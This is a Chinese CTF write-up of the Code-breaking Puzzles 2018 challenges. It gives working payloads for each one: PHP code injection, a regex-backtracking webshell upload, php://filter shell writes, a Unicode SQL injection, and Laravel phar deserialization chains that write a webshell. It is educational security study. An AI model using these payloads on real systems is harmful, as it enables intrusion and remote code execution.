3

Code-breaking Puzzles 2018 Note

 3 years ago
source link: http://zeroyu.xyz/2020/06/04/Code-breaking-Puzzles-2018-Note/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Code-breaking Puzzles 2018 Note

Z3R0YU
2020-06-04

0x00前言

题目知识点概述:

  1. function PHP函数利用技巧
  2. pcrewaf PHP正则特性
  3. phpmagic PHP写文件技巧
  4. phplimit PHP代码执行限制绕过
  5. nodechr Javascript字符串特性
  6. javacon SPEL表达式沙盒绕过
  7. lumenserial 反序列化在7.2下的利用
  8. picklecode Python反序列化沙盒绕过
  9. thejs Javascript的原型污染漏洞

题目来源:Website | Github

PS: 比较早写的笔记,但是一直没时间补完(这笔记好像拖了快一年???),暂时不补充了;特点是详细,感觉新手也能看得懂

0x01 function

代码以及题目环境可以从Github上找到,一下不在赘述,只提及知识点,

1.解决正则问题

preg_match('/^[a-z0-9_]*$/isD', $action)$action中要出现数字字母下划线以外的字符。
可以直接使用burp对字符进行测试(但这个字符必须还是有用的)

4D3EEB6F-D725-4532-A1BD-17720F6F5BA6.png

PS:网上有的说在这里测试ASCII字符,其实就是有效字符的意思

至于为什么是 \

code-breaking puzzles第一题,function,为什么函数前面可以加一个%5c?
其实简单的不行,php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

就是\在php中表示默认的命名空间,比如写一些类的时候会在开头写

1
2
1. namespace think\db;
2. use think\Exception;

2.create_function->rce

使用create_function('', $_GET['code']);达到远程RCE的效果

具体可以看php的源码 Zend/zend_builtin_functions.c:1858

可见用户输入的参数是function_args、function_code,他们被拼接成一个完整的PHP函数:

function __lambda_func ( function_args ) { function_code } \0

这个函数代码会先放在zend_eval_stringl里执行,可以理解为eval。执行成功后,再于函数列表中找到lambda_func函数,将其重命名成lambda_%d,%d代表“这是本进程第几个匿名函数”。最后从函数列表里删除lambda_func。

由于代码就是简单的拼接,所以我们可以闭合括号,执行任意代码。比如:

  1. 如果可控在第一个参数,需要闭合圆括号和大括号:create_function(‘){}phpinfo();//‘, ‘’);
  2. 如果可控在第二个参数,需要闭合大括号:create_function(‘’, ‘}phpinfo();//‘);
  1. 扩展一下,类似的eval也是将其中的字符串与进行拼接
    "<?php ".$code."?>"
    从而可以传入图?>、<?php闭合前后的标签,让中间的代码块不会被当作php代码执行。

  2. 补充两个CTF常用的查看文件的函数

1
2
3
http://51.158.75.42:8087/?action=\create_function&arg=1;}print_r(scandir('../'));/*

http://51.158.75.42:8087/?action=\create_function&arg=1;}print_r(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));/*

0x02 pcrewaf

关键在于正则匹配的绕过

1
2
3
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

首先要知道正则的匹配流程和引擎

DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

PHP采用的是NFA的正则引擎,具体的解析见 《PHP利用PCRE回溯次数限制绕过某些安全限制》

利用则是通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。

1
2
3
4
5
6
7
8
9
import requests
from io import BytesIO

files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)


1
2
with open("shell.txt", "w+") as f:
f.write("<?php print_r(scandir('../../../'));print_r(file_get_contents('../../../flag_php7_2_1s_c0rrect'));/*"+'A'*1000000)

也可以使用readfile函数来读取文件
此类型的修复方式是使用强等于的方式来判断匹配的结果

1
2
3
if (is_php($data) === 0){ 
write ...
}

PS: 这个题目在最初是存在一个非预期解的,当时的正则如下

1
2
3
function is_php($data){
return preg_match('/<\?.*[\(\`].*/is', $data);
}

这种形式是可以使用glob+file_get_contents来获取flag的,具体形式如下

1
2
chopper=var_dump(glob('../../../*'));
chopper=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));

glob()函数是获取与模式匹配的文件路径,找到文件后直接读取。
之后的正则修改为了现在的形式

1
2
3
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

0x03 phpmagic

关键在于文件写入的地方

1
2
3
4
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}

1.$_SERVER[‘SERVER_NAME’]

(1) 查看官方手册发现$_SERVER[‘SERVER_NAME’]是可以被我们控制的,只要修改数据包中host字段的值就好

87A5F220-D3F9-4BC8-B5D3-2ABA6F3A8077.png

(2) $log_name来自$_POST['log']因而也可控

2.解决扩展名过滤问题

1
!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)

使用如下payload可以绕过pathinfo对后缀名的检测,进而将内容正常写入filename.php文件中

1
filename=shell.php/.&content=<?php phpinfo();?>

3.解决htmlspecialchars过滤问题

htmlspecialchars函数会将’<’转为’<’,因而不能够直接写webshell。但是 phithon 曾在一篇文章中提到使用PHP伪协议+base64/rot13编码和解码过程处理掉exit–《谈一谈php://filter的妙用》

  1. base64必须是4的整数倍;
  2. 要注意base64中的=只能出现在最末尾,而我们插入的字符串是在中间的,所以我们插入的字符串里不能有=;
  3. PHP伪协议base64解码的trick:解码中遇到不符合规范的字符直接跳过。

PHP具有一个特点:一切传入filename的地方都可以使用php伪协议,比如:file_put_contents和readfile函数。在解析phar的时候曾提到过大量的此类函数。

4.寻找可控变量构造payload

可以看到$domain内容可控

163EC8AD-F408-4BF0-BA9F-0B9F455715CA.png

构造可利用的base64字符串,最终的数据包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1
Host: php
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8082/
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
Connection: close
Upgrade-Insecure-Requests: 1

domain=PD89YGNhdCAnLi4vLi4vLi4vZmxhZ19waHBtYWcxY191cjEnYDsvKioq&log=://filter/write=convert.base64-decode/resource=shell.php/.
18E49C67-5050-48F3-BA38-46CF64A84919.png

此处对shell的构造有坑,晚上填一下

0x04 phplimit

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

题目限制:函数可以多层嵌套但是最后一个不能包含参数.

1.session_id

session_id用于设置和获取当前的会话id,也就是PHPSESSID的值,采用如下这种方式就可以获取当前的PHPSESSID的。

1
session_id(session_start())

至于编码问题可以使用hex2bin()函数来解决,hex2bin()并不是将16进制转换为2进制,而是将16进制字符串转换为2进制字符串,示例如下:

1
2
3
4
5
6
php > $t="7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b";
php > var_dump(hex2bin($t));
string(48) "print_r(file_get_contents('../flag_phpbyp4ss'));"
php > $tt="print_r(file_get_contents('../flag_phpbyp4ss'));";
php > var_dump(bin2hex($tt));
string(96) "7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b"

最终构造的数据包如下:

1
2
3
4
5
6
7
8
9
GET /?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Host: 127.0.0.1:8084
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: PHPSESSID=7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b
1BEFF8E8-E2FD-46F0-8FFA-1546502AEDD5.png

2.get_defined_vars

2D6D5105-7368-4C0D-890A-4784365E502E.png

下面看一个示例:

1
2
3
4
php > $b = "zeroyu";
php > $arr = get_defined_vars();
php > print_r($arr["b"]);
zeroyu

因为不能传入参数所以我们可以结合current()和next()函数来完成对变量的取值,最终构造payload如下:

1
/?code=eval(next(current(get_defined_vars())));&zeroyu=print_r(scandir('../'));print_r(file_get_contents('../flag_phpbyp4ss'));

此外还可以使用reset来将数组指针定位到第一个位置进而获取我们想要的变量,从而构造payload如下:

1
/?test=readfile("../flag_phpbyp4ss");//&code=eval(implode(reset(get_defined_vars())));

之前提到过牌glob函数,所以payload还可以这样写

1
/?code=eval(next(current(get_defined_vars())));&b=var_dump(glob(%27/var/www/*%27));print_r(file_get_contents('../flag_phpbyp4ss'));

3. getcwd

getcwd()函数是获取当前目录,所以通过切换目录读文件的方案也是可行的

1
/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

PS:附加几个小栗子

1
2
3
?cmd=print(readdir(opendir(getcwd()))); 可以列目录
?cmd=print(readfile(readdir(opendir(getcwd())))); 读文件
?cmd=print(dirname(dirname(getcwd()))); print出/var/www

4.getallheaders

getallheaders()可以获取全部HTTP请求头信息,从而伪造HTTP头字段就可以达到RCE效果,但是这个函数是apache_request_headers函数的别名,只适用于apache环境对于本题目是没有作用的。

关于这个函数的使用,可以参考RCTF 2018的r-cursive题目。

1
2
GET /?cmd=eval(implode(getallheaders())); HTTP/1.1
cmd: phpinfo(); //

PS:那道题目中还涉及到利用open_basedir进行沙盒逃逸

5.getenv

这个函数再PHP5.6版本下不能使用,但是在PHP7.1以及以上版本是可以在不加参数的情况下像get_defined_vars()一样获取服务段的env数据。

0x05 nodechr

此题目考察一些javascript的小特性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}

return undefined
}

async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])

let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

if (user) {
ctx.session.user = user

jump = ctx.router.url('admin')
}

}

ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}

从源码上看是很明显拼接直接注入,但是select和union被过滤。

1.toUpperCase()和toLowerCase()特性

因而利用JS的小特性进行绕过,具体参考《Fuzz中的javascript大小写特性》

Fuzz代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
if (!String.fromCodePoint) {
(function() {
var defineProperty = (function() {
// IE 8 only supports `Object.defineProperty` on DOM elements
try {
var object = {};
var $defineProperty = Object.defineProperty;
var result = $defineProperty(object, object, object) && $defineProperty;
} catch(error) {}
return result;
}());
var stringFromCharCode = String.fromCharCode;
var floor = Math.floor;
var fromCodePoint = function() {
var MAX_SIZE = 0x4000;
var codeUnits = [];
var highSurrogate;
var lowSurrogate;
var index = -1;
var length = arguments.length;
if (!length) {
return '';
}
var result = '';
while (++index < length) {
var codePoint = Number(arguments[index]);
if (
!isFinite(codePoint) || // `NaN`, `+Infinity`, or `-Infinity`
codePoint < 0 || // not a valid Unicode code point
codePoint > 0x10FFFF || // not a valid Unicode code point
floor(codePoint) != codePoint // not an integer
) {
throw RangeError('Invalid code point: ' + codePoint);
}
if (codePoint <= 0xFFFF) { // BMP code point
codeUnits.push(codePoint);
} else { // Astral code point; split in surrogate halves
// http://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
codePoint -= 0x10000;
highSurrogate = (codePoint >> 10) + 0xD800;
lowSurrogate = (codePoint % 0x400) + 0xDC00;
codeUnits.push(highSurrogate, lowSurrogate);
}
if (index + 1 == length || codeUnits.length > MAX_SIZE) {
result += stringFromCharCode.apply(null, codeUnits);
codeUnits.length = 0;
}
}
return result;
};
if (defineProperty) {
defineProperty(String, 'fromCodePoint', {
'value': fromCodePoint,
'configurable': true,
'writable': true
});
} else {
String.fromCodePoint = fromCodePoint;
}
}());
}
for (var j = 'A'.charCodeAt(); j <= 'Z'.charCodeAt(); j++){
var s = String.fromCodePoint(j);
for (var i = 0; i < 0x10FFFF; i++) {
var e = String.fromCodePoint(i);
if (s == e.toUpperCase() && s != e) {
document.write("char: "+e+"<br/>");
};
};
}

最终可以得出以下几点特性

1
2
3
"ı".toUpperCase() == 'I'
"ſ".toUpperCase() == 'S'
"K".toLowerCase() == 'k'

从而构造payload

1
username=test&password=%27+un%C4%B1on+%C5%BFelect+1,(%C5%BFelect+flag+from+flags),'3

我们可以看一下这个payload经过处理之后是怎样的
5D317E21-AE8E-4A5E-A15A-80D1391CFE11.png

PS: 补充另外一个JS的小特性,这个特性在《Security Bugs in Practice: SSRF via Request Splitting》中被使用

340A0E5E-C178-423A-ACF1-6C8100E5E7E1.png

2.unicode大小写转换问题

在此处补充一下Python3的unicode大小写转换问题,造成这个问题的原因是

这里的特殊部分是转换行为。 并非所有Unicode字符在转换为大写字母时都具有匹配的表示形式 - 因此浏览器通常倾向于采用外观相似,最适合的映射ASCII字符。 这种行为有相当大范围的字符,所有浏览器的做法都有所不同。

1
2
3
"ı".upper() == 'I'
"ſ".upper() == 'S'
"K".lower() == 'k'

还有一些其其它的:

1
2
3
4
5
6
7
8
9
10
11
K ---- k
ß(223) ---- SS
ı(305) ---- I
ſ(383) ---- S
ff(64256) ---- FF
fi(64257) ---- FI
fl(64258) ---- FL
ffi(64259) ---- FFI
ffl(64260) ---- FFL
ſt(64261) ---- ST
st(64262) ---- ST

0x06 lumenserial

1. 环境配置

因为此题是基于laravel框架开发的,所以在本地要用 composer install 进行环境配置,方便后面的审计。

2. phpggc

这个题目是基于laravel框架开发的,phpggc中又恰好有4种关于Laravel框架RCE的payload生成方法,所以首先学习一下这四种payload的生成。

1EE2E9E0-5236-4E90-983E-AA8AA94371D0.png

从上图代码我们可以分析出反序列化的时候,类方法调用过程如下,首先执行如下语句,假设此时$function$parameter参数分别对应systemid

1
new \Illuminate\Broadcasting\PendingBroadcast(new \Faker\Generator($function),$parameter);

接着跟进到\Illuminate\Broadcasting\PendingBroadcast类中看到如下信息

1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}

将之前的(new \Faker\Generator($function),$parameter)代入其实执行的就是

1
new \Faker\Generator($function)->dispatch($parameter);

可看到将Generator当做函数调用进行使用了,所以直接查看到其中的如下代码,此时__call的参数是dispatch和id

1
2
3
4
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

之后跟进format函数进行查看,发现使用到了call_user_func_array函数来进行处理。

1
2
3
4
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

继续跟进一下getFormatter函数,其中的参数是dispatch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);

return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

最终getFormatter函数将返回system

PS:__call是在不存在对应的函数调用时才使用的。

34CC2E37-D469-460F-8940-A0F6F2ED3C48.png

类似的进行分析,首先在反序列化时也是先进入

1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}


1
new \Illuminate\Broadcasting\PendingBroadcast(new \Illuminate\Events\Dispatcher($function, $parameter),$parameter);

对应执行的就是

1
(new \Illuminate\Events\Dispatcher($function, $parameter)->dispatch($parameter)

要知道此时是有dispatch这个函数的,所以我们就继续跟进这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function dispatch($event, $payload = [], $halt = false)
{
[$event, $payload] = $this->parseEventAndPayload(
$event, $payload
);//将$event设置为数组返回

if ($this->shouldBroadcast($payload)) {
$this->broadcastEvent($payload[0]);
}

$responses = [];

foreach ($this->getListeners($event) as $listener) {
$response = $listener($event, $payload);
if ($halt && ! is_null($response)) {
return $response;
}
if ($response === false) {
break;
}

$responses[] = $response;
}
return $halt ? null : $responses;
}

此处只看$event变量的传递,所以继续跟入getListeners函数,可以看到我们传入的类名肯定是不存在的,因此这个函数必定返回$listeners变量的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
public function getListeners($eventName)
{
$listeners = $this->listeners[$eventName] ?? [];

$listeners = array_merge(
$listeners,
$this->wildcardsCache[$eventName] ?? $this->getWildcardListeners($eventName)
);

return class_exists($eventName, false)
? $this->addInterfaceListeners($eventName, $listeners)
: $listeners;
}

假设我们使用phpggc生成的payload如下

1
2
 zeroyu@zeros ~ ./phpggc Laravel/RCE2 system id
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"*listeners";a:1:{s:2:"id";a:1:{i:0;s:6:"system";}}}s:8:"*event";s:2:"id";}

那么最终dispatch函数中的$response = $listener($event, $payload);对应返回的就是$response=system('id',[]);此时$response将保存有命令执行后的结果。

3CC61DDE-DA5C-4278-B0C8-6FDEDBB79714.png

由下面这句代码展开分析

1
return new \Illuminate\Broadcasting\PendingBroadcast(new \Illuminate\Notifications\ChannelManager($function, $parameter)

反序列化的时候首先还是到PendingBroadcast中调用__destruct

1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}

所这次的就相当于

1
new \Illuminate\Notifications\ChannelManager($function, $parameter)->dispatch($this->event);

要知道ChannelManager里面是没有dispatch函数的,所以就会调用__call函数

1
2
3
4
public function __call($method, $parameters)
{
return $this->driver()->$method(...$parameters);
}

$method(...$parameters);这部分并不重要,之后主要跟进driver函数

1
2
3
4
5
6
7
8
9
public function driver($driver = null)
{
$driver = $driver ?: $this->getDefaultDriver();
if (! isset($this->drivers[$driver])) {
$this->drivers[$driver] = $this->createDriver($driver);
}

return $this->drivers[$driver];
}

之前我们设置了如下几个变量,所以在此处getDefaultDriver();将返回x

1
2
3
$this->app = $parameter;
$this->customCreators = ['x' => $function];
$this->defaultChannel = 'x';

接下来会继续到createDriver函数的位置,之后跟进一下这个函数

1
2
3
4
protected function createDriver($driver)
{
if (isset($this->customCreators[$driver])) {
return $this->callCustomCreator($driver);

可以看到接下来继续进入callCustomCreator函数

1
2
3
4
protected function callCustomCreator($driver)
{
return $this->customCreators[$driver]($this->app);
}

也正是在此处返回了$function($parameter)的执行结果。

A8C1FFAB-D86C-4B3B-B50D-DC4296B52A29.png

首先看一下这个chain的开始

1
new \Illuminate\Broadcasting\PendingBroadcast(new \Illuminate\Validation\Validator($function),$parameter);

可以看到,这链也是从PendingBroadcast__destruct开始的

1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}

所以此处对应的执行就是

1
new \Illuminate\Validation\Validator($function)->dispatch($parameter);

可以看到Validator类中也是没有dispatch函数的,因此调用的是__call函数

1
2
3
4
5
6
7
8
9
10
public function __call($method, $parameters)
{
$rule = Str::snake(substr($method, 8));
// $rule=''
if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}

throw new BadMethodCallException("Method [$method] does not exist.");
}

之后跟进callExtension函数,在其中的call_user_func_array处成功执行我们需要执行的函数。

1
2
3
4
5
6
7
8
9
10
protected function callExtension($rule, $parameters)
{
$callback = $this->extensions[$rule];
// 之前chain中写的是$this->extensions = ['' => $function];所以此处的$callback=$function
if (is_callable($callback)) {
return call_user_func_array($callback, $parameters);
} elseif (is_string($callback)) {
return $this->callClassBasedExtension($callback, $parameters);
}
}

这四种chain的分析可以参考《PHP反序列化入门之寻找POP链(一)》
PS:但是文中对第三种的分析存在一些问题,可以参考我的表述

总结起来以上四种类型要么是利用调用dispatch来完成,要么是利用$this->events中的__call完成。

3. POP chain的构造

pop chain的构造一般都是从寻找__wakeup 或者 __destruct开始的
寻找思路:

  1. dispatch完成合适的函数调用
  2. 寻找合适的$this->events来使用其中的__call

    chain 1

  3. 入口点 cat/vendor/illuminate/broadcasting/PendingBroadcast.php __destruct()

  4. cat/vendor/fzaninotto/faker/src/Faker/ValidGenerator.php __call($name, $arguments)
    在这其中call_user_func_array函数的返回结果作为call_user_func函数的参数,$this->validator又是可控的,进而call_user_func函数的参数均是可控的。但是想用file_put_contents函数来写shell需要两个参数,所以call_user_func不能够直接使用,需要继续寻找一个call_user_func_array函数来用
  5. cat/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnCallback.php invoke(Invocation $invocation)函数存在一个call_user_func_array函数,其中第一个参数可控,第二个参数需要Invocation对象
  6. cat/vendor/phpunit/phpunit/src/Framework/MockObject/Invocation/StaticInvocation.php 中找到对接口Invocation的实现

最终构造出的poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
function __construct($events, $event){
$this->events = $events;
$this->event = $event;
}
}
};
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null){
$this->default = $default;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
// __call方法中有call_user_func_array、call_user_func
public function __construct($generator, $validator = null, $maxRetries = 10000)
{
$this->generator = $generator;
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
};
namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback
{
private $callback;
public function __construct($callback)
{
$this->callback = $callback;
}
}
};
namespace PHPUnit\Framework\MockObject\Invocation{
class StaticInvocation{
private $parameters;
public function __construct($parameters){
$this->parameters = $parameters;
}
}
};
namespace{
$function = 'file_put_contents';
$parameters = array('/var/www/html/11.php','<?php phpinfo();?>');
$staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
$returncallback = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);
$defaultgenerator = new Faker\DefaultGenerator($staticinvocation);
$validgenerator = new Faker\ValidGenerator($defaultgenerator,array($returncallback,'invoke'),2);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($validgenerator,123);
$o = $pendingbroadcast;
$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
};
?>

poc执行过程分析

  1. 1
    2
    $validgenerator = new Faker\ValidGenerator($defaultgenerator,array($returncallback,'invoke'),2);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($validgenerator,123);
  2. 可以看到首先也是进入到了destruct(),将dispatch作为函数调用进行了使用,但是ValidGenerator类中没有这个函数,所以就调用call,参数为dsipatch和123。此处要注意到ValidGenerator的几个参数分别是$defaultgenerator,array($returncallback,'invoke'),2

    1
    2
    3
    $parameters = array('/var/www/html/11.php','<?php phpinfo();?>');
    $staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
    $defaultgenerator = new Faker\DefaultGenerator($staticinvocation);

因此下面这句中的

1
$res = call_user_func_array(array($this->generator, $name), $arguments);

array($this->generator, $name)实际上就是执行了

1
new Faker\DefaultGenerator($staticinvocation)->dispatch

但是DefaultGenerator中也没有dispatch函数吗,因此就调用call函数来处理,他的call函数是直接将$staticinvocation的值进行返回

  1. new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters); 是一个实例化后的Invocation对象,并且它可以给出我们需要参数array,也就是$res = 这个对象
  2. 接下来回到$validgenerator = new Faker\ValidGenerator($defaultgenerator,array($returncallback,’invoke’),2);继续看其中的call_user_func($this->validator, $res)这里的$this->validator其实就是array($returncallback,'invoke'),整体对应的含义如下
    1
    new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function)->invoke($res);

invoke的函数定义如下

1
2
3
4
public function invoke(Invocation $invocation)
{
return \call_user_func_array($this->callback, $invocation->getParameters());
}

可以看到$res变量所对应的对象在此处将取出我们需要的$parameters,而$this->callback就是我们之前设置的$function

chain 2

这个pop chain出自lemon师傅,只这条相较于上条答题相同但是比较绕,我在注释已经做了详细的解释。
参考:
《lumenserial–kingkk》
《lumenserial-l3m0n》

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}

namespace Faker{
class Generator{
protected $formatters;
function __construct($forma){
$this->formatters = $forma;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;

public function __construct($generator, $validator, $maxRetries = 10000){
$this->generator = $generator;
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
}

namespace PHPUnit\Framework\MockObject\Invocation{
class StaticInvocation{
function __construct($parameters){
$this->parameters = $parameters;
}
}
}

namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback{
public function __construct($callback){
$this->callback = $callback;
}
}
}

# exp func call
namespace{
$function = "file_put_contents";
$parameters = ["/var/www/html/upload/z.php", base64_decode("PD9waHAgZXZhbCgkX0dFVFsnMTEnXSk7Pz4=")];

$exp_call_obj = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);

$exp_args_obj = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
$tmp_arr = ["gogogo" => $exp_args_obj];
$s4_obj = new Faker\Generator($tmp_arr);
// 第一次使用Generator来得到dispatch对应的内容
$get_func_arr = array("dispatch"=> array($s4_obj, "getFormatter"));
// 最终将会返回 array($s4_obj, "getFormatter")
$s3_obj = new Faker\Generator($get_func_arr);
// array($s4_obj, "getFormatter") 进入format()中的call_user_func_array
// 就可以返回我们gogogo所对应的$exp_args_obj
// 最终我们需要的$exp_args_obj将会返回给$res
// 之后$res再invoke()中可以通过$invocation->getParameters()将$parameters取出

// $s3_obj对应generator是我们需要控制的类,而这个类中有我们用来控制$res变量的函数
// array($exp_call_obj,"invoke")会在ValidGenerator中的call_user_func处调用invoke函数
$s2_obj = new Faker\ValidGenerator($s3_obj, array($exp_call_obj,"invoke"), 2);

$s1_obj = new Illuminate\Broadcasting\PendingBroadcast($s2_obj, "gogogo");
echo urlencode(serialize($s1_obj))."\n\r\n\r";

$p = new Phar('./z.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($s1_obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
}

在此大致做个小结:

  1. 首先,此处禁用了用于执行系统命令的函数,所以不能rce只能想办法getshell,写shell就要用file_put_contents函数,此时就涉及两个参数,所以就必须找call_user_func_array这样的函数来进行调用。
  2. pop chain的构造对于框架而言是找到一个好的起始点,一般而言是找__wakeup__destruct,但是框架的起始点和构造思想可以参考phpggc。对与laravel框架而言,就是看使用dispatch还是使用__call(选择的依据就是这两者中会不会涉及到call_user_func_array)。

在做此题目的时候之所以会想到是反序列漏洞是看如下信息:

  1. 首先看框架的路由

    1
    2
    $router->get('/server/editor', 'EditorController@main');
    $router->post('/server/editor', 'EditorController@main');
  2. 其次根据路由看Controller,并在Controller中寻找敏感点,比如此处的download

    1
    2
    3
    4
    5
    private function download($url)
    {
    ......
    $content = file_get_contents($url);
    ......
  3. 查看url参数是否可控,是否过滤,那么就查看一下这个函数的调用点

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    protected function doCatchimage(Request $request)
    {
    $sources = $request->input($this->config['catcherFieldName']);
    $rets = [];

    if ($sources) {
    foreach ($sources as $url) {
    $rets[] = $this->download($url);
    }
    }
  4. 继续跟进config['catcherFieldName']

    1
    "catcherFieldName": "source", /* 提交的图片列表表单名称 */
  5. 可以看到路径上无过滤,因此参数可控,可以在这个点使用phar来getshell,进而就有了上面的pop chain构造

  6. getshell
    1
    http://127.0.0.1:8080/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/78ed78f65afaa8137864b4839f2076a8/201904/14/9a032ef2cab676e1f622.gif
539A5C5E-7729-494B-AD76-2BF98165A8D9.png
51E3D681-D424-4298-B85A-5398B9B0684F.png

其它pop chain参考 《lumenserial–evil》

0x07 javacon

1. 环境配置

